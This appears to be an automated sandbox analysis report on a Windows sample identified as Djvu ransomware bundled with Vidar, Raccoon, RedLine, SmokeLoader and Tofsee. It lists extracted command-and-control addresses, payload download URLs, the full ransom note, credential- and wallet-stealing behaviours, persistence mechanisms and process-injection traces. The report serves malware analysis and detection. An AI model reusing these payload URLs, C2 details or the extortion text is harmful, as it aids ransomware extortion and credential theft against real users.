djvu | d0c95b84566b2cfee3ccfbf8e9b6a7020d8fd2235cda27b64a9e534caaf03e54

Analysis

max time kernel
137s
max time network
152s
platform
windows10-1703_x64
resource
win10-20220812-en
resource tags

arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system
submitted
22-09-2022 20:31

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

d0c95b84566b2cfee3ccfbf8e9b6a7020d8fd2235cda27b64a9e534caaf03e54.exe
Size

279KB
MD5

65bf11ed8161d11c6e0a1e7adb5a4f83
SHA1

016f3953dc2822a6a877f6b53187882647667b53
SHA256

d0c95b84566b2cfee3ccfbf8e9b6a7020d8fd2235cda27b64a9e534caaf03e54
SHA512

dd4b27d200d13a9a2b5fac3651e2143b4ab92f9f25afa9ef30666fd9a3baffe8db822a89becd02636a6ce39be31cca17caf1f5b7fe1195eb59befd25e2da6f10
SSDEEP

6144:aWeKlgAHcDsRL7eC+UQEu9yWwZ50tQdvigavwVfrD:aWeGfGC+UQ+Ia0c

Malware Config

Extracted

Family

djvu

http://winnlinne.com/lancer/get.php

Attributes

extension
.ofww
offline_id
xkNzhkB1wvgoDI7Uo0HPNLY3qCuwoFpP7nlhlut1
payload_url
http://rgyui.top/dl/build2.exe
http://winnlinne.com/files/1/build3.exe
ransomnote
ATTENTION! Don't worry, you can return all your files! All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key. The only method of recovering files is to purchase decrypt tool and unique key for you. This software will decrypt all your encrypted files. What guarantees you have? You can send one of your encrypted file from your PC and we decrypt it for free. But we can decrypt only 1 file for free. File must not contain valuable information. You can get and look video overview decrypt tool: https://we.tl/t-EWKSsSJiVn Price of private key and decrypt software is $980. Discount 50% available if you contact us first 72 hours, that's price for you is $490. Please note that you'll never restore your data without payment. Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours. To get this software you need write on our e-mail: support@bestyourmail.ch Reserve e-mail address to contact us: datarestorehelp@airmail.cc Your personal ID: 0569Jhyjd

rsa_pubkey.plain

Extracted

Family

vidar

Version

54.6

Botnet

517

https://t.me/huobiinside

https://mas.to/@kyriazhs1975

Attributes

profile_id
517

Extracted

Family

raccoon

Botnet

7394a7fc5da9794209d8b0503ca4abf4

http://45.8.145.203

rc4.plain

Extracted

Family

redline

Botnet

LogsDiller Cloud (Sup: @mr_golds)

77.73.134.27:8163

Attributes

auth_value
56c6f7b9024c076f0a96931453da7e56

Extracted

Family

tofsee

svartalfheim.top

jotunheim.name

Extracted

Family

redline

Botnet

dantesoprano

5.252.118.34:37991

Attributes

auth_value
b5af0cad45273cbce8023bfa93cf0768

Signatures

Detected Djvu ransomware 7 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1516-433-0x0000000000424141-mapping.dmp	family_djvu
behavioral1/memory/4136-436-0x00000000021D0000-0x00000000022EB000-memory.dmp	family_djvu
behavioral1/memory/1516-539-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/1516-614-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/1388-649-0x0000000000424141-mapping.dmp	family_djvu
behavioral1/memory/1388-723-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/1388-993-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu

Detects Smokeloader packer 2 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2960-151-0x0000000000630000-0x0000000000639000-memory.dmp	family_smokeloader
behavioral1/memory/4976-374-0x0000000000A10000-0x0000000000A19000-memory.dmp	family_smokeloader

Djvu Ransomware
Ransomware which is a variant of the STOP family.
ransomware djvu
Raccoon
Raccoon is an infostealer written in C++ and first seen in 2019.
stealer raccoon
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 5 IoCs

Processes:

resource	yara_rule
behavioral1/memory/96956-1110-0x000000000042217A-mapping.dmp	family_redline
behavioral1/memory/96956-1165-0x0000000000400000-0x0000000000428000-memory.dmp	family_redline
C:\Users\Admin\AppData\Local\Temp\BD3C.exe	family_redline
C:\Users\Admin\AppData\Local\Temp\BD3C.exe	family_redline
behavioral1/memory/2804-1289-0x0000000000060000-0x00000000000C8000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Tofsee
Backdoor/botnet which carries out malicious activities based on commands from a C2 server.
trojan tofsee
Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Creates new service(s) 1 TTPs
persistence

New Service
T1050
Downloads MZ/PE file

Executes dropped EXE 18 IoCs

Processes:

DCBA.exeE5C3.exeEDD3.exeEDD3.exeEDD3.exeEDD3.exebuild2.exebuild2.exebuild3.exe9C73.exeA1A4.exeA9C3.exeBD3C.exeC1D1.exehmjbunjy.exemstsca.exesyst.exe$77Install.exe

pid	process
4976	DCBA.exe
2400	E5C3.exe
4136	EDD3.exe
1516	EDD3.exe
4408	EDD3.exe
1388	EDD3.exe
4692	build2.exe
4572	build2.exe
2636	build3.exe
504	9C73.exe
47476	A1A4.exe
97068	A9C3.exe
2804	BD3C.exe
3048	C1D1.exe
5384	hmjbunjy.exe
4256	mstsca.exe
9084	syst.exe
10296	$77Install.exe

Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

1968 netsh.exe

pid	process
1968	netsh.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

svchost.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\pmngwteh\ImagePath = "C:\\Windows\\SysWOW64\\pmngwteh\\hmjbunjy.exe"	svchost.exe

Deletes itself 1 IoCs

Processes:

pid process

2604
Loads dropped DLL 3 IoCs

Processes:

regsvr32.exebuild2.exe

pid process

2184 regsvr32.exe
4572 build2.exe
4572 build2.exe
Modifies file permissions 1 TTPs 1 IoCs
discovery

File Permissions Modification
T1222

Processes:

icacls.exe

pid process

3460 icacls.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
2604

pid	process
2184	regsvr32.exe
4572	build2.exe
4572	build2.exe

pid	process
3460	icacls.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

explorer.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

EDD3.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\38e48068-da15-4e6b-a4f4-903c5d22f66d\\EDD3.exe\" --AutoStart"	EDD3.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

17 api.2ip.ua
7 api.2ip.ua
8 api.2ip.ua

flow	ioc
17	api.2ip.ua
7	api.2ip.ua
8	api.2ip.ua

Drops file in System32 directory 5 IoCs

Processes:

syst.exe

description	ioc	process
File created	C:\Windows\SysWOW64\$77Install.exe	syst.exe
File created	C:\Windows\SysWOW64\$77-x64.dll	syst.exe
File created	C:\Windows\SysWOW64\$77-x86.dll	syst.exe
File created	C:\Windows\SysWOW64\$77Host.xml	syst.exe
File created	C:\Windows\SysWOW64\$77Host.exe	syst.exe

Suspicious use of SetThreadContext 6 IoCs

Processes:

EDD3.exeEDD3.exebuild2.exeE5C3.exe9C73.exehmjbunjy.exe

description	pid	process	target process
PID 4136 set thread context of 1516	4136	EDD3.exe	EDD3.exe
PID 4408 set thread context of 1388	4408	EDD3.exe	EDD3.exe
PID 4692 set thread context of 4572	4692	build2.exe	build2.exe
PID 2400 set thread context of 4912	2400	E5C3.exe	AppLaunch.exe
PID 504 set thread context of 96956	504	9C73.exe	AppLaunch.exe
PID 5384 set thread context of 7624	5384	hmjbunjy.exe	svchost.exe

Drops file in Windows directory 4 IoCs

Processes:

$77Install.exe

description	ioc	process
File created	C:\Windows\Tasks\$77svc32.job	$77Install.exe
File opened for modification	C:\Windows\Tasks\$77svc32.job	$77Install.exe
File created	C:\Windows\Tasks\$77svc64.job	$77Install.exe
File opened for modification	C:\Windows\Tasks\$77svc64.job	$77Install.exe

Launches sc.exe 3 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exe

pid process

2304 sc.exe
1448 sc.exe
3368 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

pid	process
2304	sc.exe
1448	sc.exe
3368	sc.exe

Program crash 5 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
12028	3916	WerFault.exe
12012	3692	WerFault.exe
12672	1388	WerFault.exe	EDD3.exe
12708	3700	WerFault.exe	explorer.exe
12768	5156	WerFault.exe	explorer.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

DCBA.exed0c95b84566b2cfee3ccfbf8e9b6a7020d8fd2235cda27b64a9e534caaf03e54.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DCBA.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DCBA.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DCBA.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	d0c95b84566b2cfee3ccfbf8e9b6a7020d8fd2235cda27b64a9e534caaf03e54.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	d0c95b84566b2cfee3ccfbf8e9b6a7020d8fd2235cda27b64a9e534caaf03e54.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	d0c95b84566b2cfee3ccfbf8e9b6a7020d8fd2235cda27b64a9e534caaf03e54.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

build2.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe

Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid process

4592 schtasks.exe
9444 schtasks.exe
10272 schtasks.exe
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

2984 timeout.exe
Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

96 taskkill.exe

pid	process
4592	schtasks.exe
9444	schtasks.exe
10272	schtasks.exe

pid	process
2984	timeout.exe

pid	process
96	taskkill.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.EXEpowershell.EXE

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

d0c95b84566b2cfee3ccfbf8e9b6a7020d8fd2235cda27b64a9e534caaf03e54.exe

pid	process
2960	d0c95b84566b2cfee3ccfbf8e9b6a7020d8fd2235cda27b64a9e534caaf03e54.exe
2960	d0c95b84566b2cfee3ccfbf8e9b6a7020d8fd2235cda27b64a9e534caaf03e54.exe
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

2604

pid	process
2604

Suspicious behavior: MapViewOfSection 24 IoCs

Processes:

d0c95b84566b2cfee3ccfbf8e9b6a7020d8fd2235cda27b64a9e534caaf03e54.exeDCBA.exe

pid	process
2960	d0c95b84566b2cfee3ccfbf8e9b6a7020d8fd2235cda27b64a9e534caaf03e54.exe
2604
2604
2604
2604
4976	DCBA.exe
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604
2604

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exeE5C3.exetaskkill.exeAppLaunch.exeBD3C.exepowershell.exe

description	pid	process
Token: SeShutdownPrivilege	2604
Token: SeCreatePagefilePrivilege	2604
Token: SeDebugPrivilege	1800	powershell.exe
Token: SeShutdownPrivilege	2604
Token: SeCreatePagefilePrivilege	2604
Token: SeShutdownPrivilege	2604
Token: SeCreatePagefilePrivilege	2604
Token: SeShutdownPrivilege	2604
Token: SeCreatePagefilePrivilege	2604
Token: SeShutdownPrivilege	2604
Token: SeCreatePagefilePrivilege	2604
Token: SeShutdownPrivilege	2604
Token: SeCreatePagefilePrivilege	2604
Token: SeDebugPrivilege	2400	E5C3.exe
Token: SeDebugPrivilege	96	taskkill.exe
Token: SeShutdownPrivilege	2604
Token: SeCreatePagefilePrivilege	2604
Token: SeShutdownPrivilege	2604
Token: SeCreatePagefilePrivilege	2604
Token: SeShutdownPrivilege	2604
Token: SeCreatePagefilePrivilege	2604
Token: SeShutdownPrivilege	2604
Token: SeCreatePagefilePrivilege	2604
Token: SeShutdownPrivilege	2604
Token: SeCreatePagefilePrivilege	2604
Token: SeShutdownPrivilege	2604
Token: SeCreatePagefilePrivilege	2604
Token: SeShutdownPrivilege	2604
Token: SeCreatePagefilePrivilege	2604
Token: SeShutdownPrivilege	2604
Token: SeCreatePagefilePrivilege	2604
Token: SeShutdownPrivilege	2604
Token: SeCreatePagefilePrivilege	2604
Token: SeShutdownPrivilege	2604
Token: SeCreatePagefilePrivilege	2604
Token: SeShutdownPrivilege	2604
Token: SeCreatePagefilePrivilege	2604
Token: SeShutdownPrivilege	2604
Token: SeCreatePagefilePrivilege	2604
Token: SeShutdownPrivilege	2604
Token: SeCreatePagefilePrivilege	2604
Token: SeShutdownPrivilege	2604
Token: SeCreatePagefilePrivilege	2604
Token: SeDebugPrivilege	96956	AppLaunch.exe
Token: SeDebugPrivilege	2804	BD3C.exe
Token: SeDebugPrivilege	6960	powershell.exe
Token: SeShutdownPrivilege	2604
Token: SeCreatePagefilePrivilege	2604
Token: SeShutdownPrivilege	2604
Token: SeCreatePagefilePrivilege	2604
Token: SeShutdownPrivilege	2604
Token: SeCreatePagefilePrivilege	2604
Token: SeShutdownPrivilege	2604
Token: SeCreatePagefilePrivilege	2604
Token: SeShutdownPrivilege	2604
Token: SeCreatePagefilePrivilege	2604
Token: SeShutdownPrivilege	2604
Token: SeCreatePagefilePrivilege	2604
Token: SeShutdownPrivilege	2604
Token: SeCreatePagefilePrivilege	2604
Token: SeShutdownPrivilege	2604
Token: SeCreatePagefilePrivilege	2604
Token: SeShutdownPrivilege	2604
Token: SeCreatePagefilePrivilege	2604

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

regsvr32.exeE5C3.exeEDD3.exeEDD3.exeEDD3.exeEDD3.exebuild2.exe

description	pid	process	target process
PID 2604 wrote to memory of 2500	2604		regsvr32.exe
PID 2604 wrote to memory of 2500	2604		regsvr32.exe
PID 2500 wrote to memory of 2184	2500	regsvr32.exe	regsvr32.exe
PID 2500 wrote to memory of 2184	2500	regsvr32.exe	regsvr32.exe
PID 2500 wrote to memory of 2184	2500	regsvr32.exe	regsvr32.exe
PID 2604 wrote to memory of 4976	2604		DCBA.exe
PID 2604 wrote to memory of 4976	2604		DCBA.exe
PID 2604 wrote to memory of 4976	2604		DCBA.exe
PID 2604 wrote to memory of 2400	2604		E5C3.exe
PID 2604 wrote to memory of 2400	2604		E5C3.exe
PID 2604 wrote to memory of 2400	2604		E5C3.exe
PID 2604 wrote to memory of 4136	2604		EDD3.exe
PID 2604 wrote to memory of 4136	2604		EDD3.exe
PID 2604 wrote to memory of 4136	2604		EDD3.exe
PID 2604 wrote to memory of 4632	2604		explorer.exe
PID 2604 wrote to memory of 4632	2604		explorer.exe
PID 2604 wrote to memory of 4632	2604		explorer.exe
PID 2604 wrote to memory of 4632	2604		explorer.exe
PID 2604 wrote to memory of 4932	2604		explorer.exe
PID 2604 wrote to memory of 4932	2604		explorer.exe
PID 2604 wrote to memory of 4932	2604		explorer.exe
PID 2400 wrote to memory of 1800	2400	E5C3.exe	powershell.exe
PID 2400 wrote to memory of 1800	2400	E5C3.exe	powershell.exe
PID 2400 wrote to memory of 1800	2400	E5C3.exe	powershell.exe
PID 4136 wrote to memory of 1516	4136	EDD3.exe	EDD3.exe
PID 4136 wrote to memory of 1516	4136	EDD3.exe	EDD3.exe
PID 4136 wrote to memory of 1516	4136	EDD3.exe	EDD3.exe
PID 4136 wrote to memory of 1516	4136	EDD3.exe	EDD3.exe
PID 4136 wrote to memory of 1516	4136	EDD3.exe	EDD3.exe
PID 4136 wrote to memory of 1516	4136	EDD3.exe	EDD3.exe
PID 4136 wrote to memory of 1516	4136	EDD3.exe	EDD3.exe
PID 4136 wrote to memory of 1516	4136	EDD3.exe	EDD3.exe
PID 4136 wrote to memory of 1516	4136	EDD3.exe	EDD3.exe
PID 4136 wrote to memory of 1516	4136	EDD3.exe	EDD3.exe
PID 1516 wrote to memory of 3460	1516	EDD3.exe	icacls.exe
PID 1516 wrote to memory of 3460	1516	EDD3.exe	icacls.exe
PID 1516 wrote to memory of 3460	1516	EDD3.exe	icacls.exe
PID 1516 wrote to memory of 4408	1516	EDD3.exe	EDD3.exe
PID 1516 wrote to memory of 4408	1516	EDD3.exe	EDD3.exe
PID 1516 wrote to memory of 4408	1516	EDD3.exe	EDD3.exe
PID 4408 wrote to memory of 1388	4408	EDD3.exe	EDD3.exe
PID 4408 wrote to memory of 1388	4408	EDD3.exe	EDD3.exe
PID 4408 wrote to memory of 1388	4408	EDD3.exe	EDD3.exe
PID 4408 wrote to memory of 1388	4408	EDD3.exe	EDD3.exe
PID 4408 wrote to memory of 1388	4408	EDD3.exe	EDD3.exe
PID 4408 wrote to memory of 1388	4408	EDD3.exe	EDD3.exe
PID 4408 wrote to memory of 1388	4408	EDD3.exe	EDD3.exe
PID 4408 wrote to memory of 1388	4408	EDD3.exe	EDD3.exe
PID 4408 wrote to memory of 1388	4408	EDD3.exe	EDD3.exe
PID 4408 wrote to memory of 1388	4408	EDD3.exe	EDD3.exe
PID 1388 wrote to memory of 4692	1388	EDD3.exe	build2.exe
PID 1388 wrote to memory of 4692	1388	EDD3.exe	build2.exe
PID 1388 wrote to memory of 4692	1388	EDD3.exe	build2.exe
PID 4692 wrote to memory of 4572	4692	build2.exe	build2.exe
PID 4692 wrote to memory of 4572	4692	build2.exe	build2.exe
PID 4692 wrote to memory of 4572	4692	build2.exe	build2.exe
PID 4692 wrote to memory of 4572	4692	build2.exe	build2.exe
PID 4692 wrote to memory of 4572	4692	build2.exe	build2.exe
PID 4692 wrote to memory of 4572	4692	build2.exe	build2.exe
PID 4692 wrote to memory of 4572	4692	build2.exe	build2.exe
PID 4692 wrote to memory of 4572	4692	build2.exe	build2.exe
PID 4692 wrote to memory of 4572	4692	build2.exe	build2.exe
PID 1388 wrote to memory of 2636	1388	EDD3.exe	build3.exe
PID 1388 wrote to memory of 2636	1388	EDD3.exe	build3.exe

outlook_office_path 1 IoCs

Processes:

explorer.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

outlook_win_path 1 IoCs

Processes:

explorer.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

C:\Users\Admin\AppData\Local\Temp\d0c95b84566b2cfee3ccfbf8e9b6a7020d8fd2235cda27b64a9e534caaf03e54.exe
"C:\Users\Admin\AppData\Local\Temp\d0c95b84566b2cfee3ccfbf8e9b6a7020d8fd2235cda27b64a9e534caaf03e54.exe"
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:2960

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\D99C.dll
1⤵
- Suspicious use of WriteProcessMemory
PID:2500

C:\Windows\SysWOW64\regsvr32.exe
/s C:\Users\Admin\AppData\Local\Temp\D99C.dll
2⤵
- Loads dropped DLL
PID:2184

C:\Users\Admin\AppData\Local\Temp\E5C3.exe
C:\Users\Admin\AppData\Local\Temp\E5C3.exe
1⤵
- Executes dropped EXE
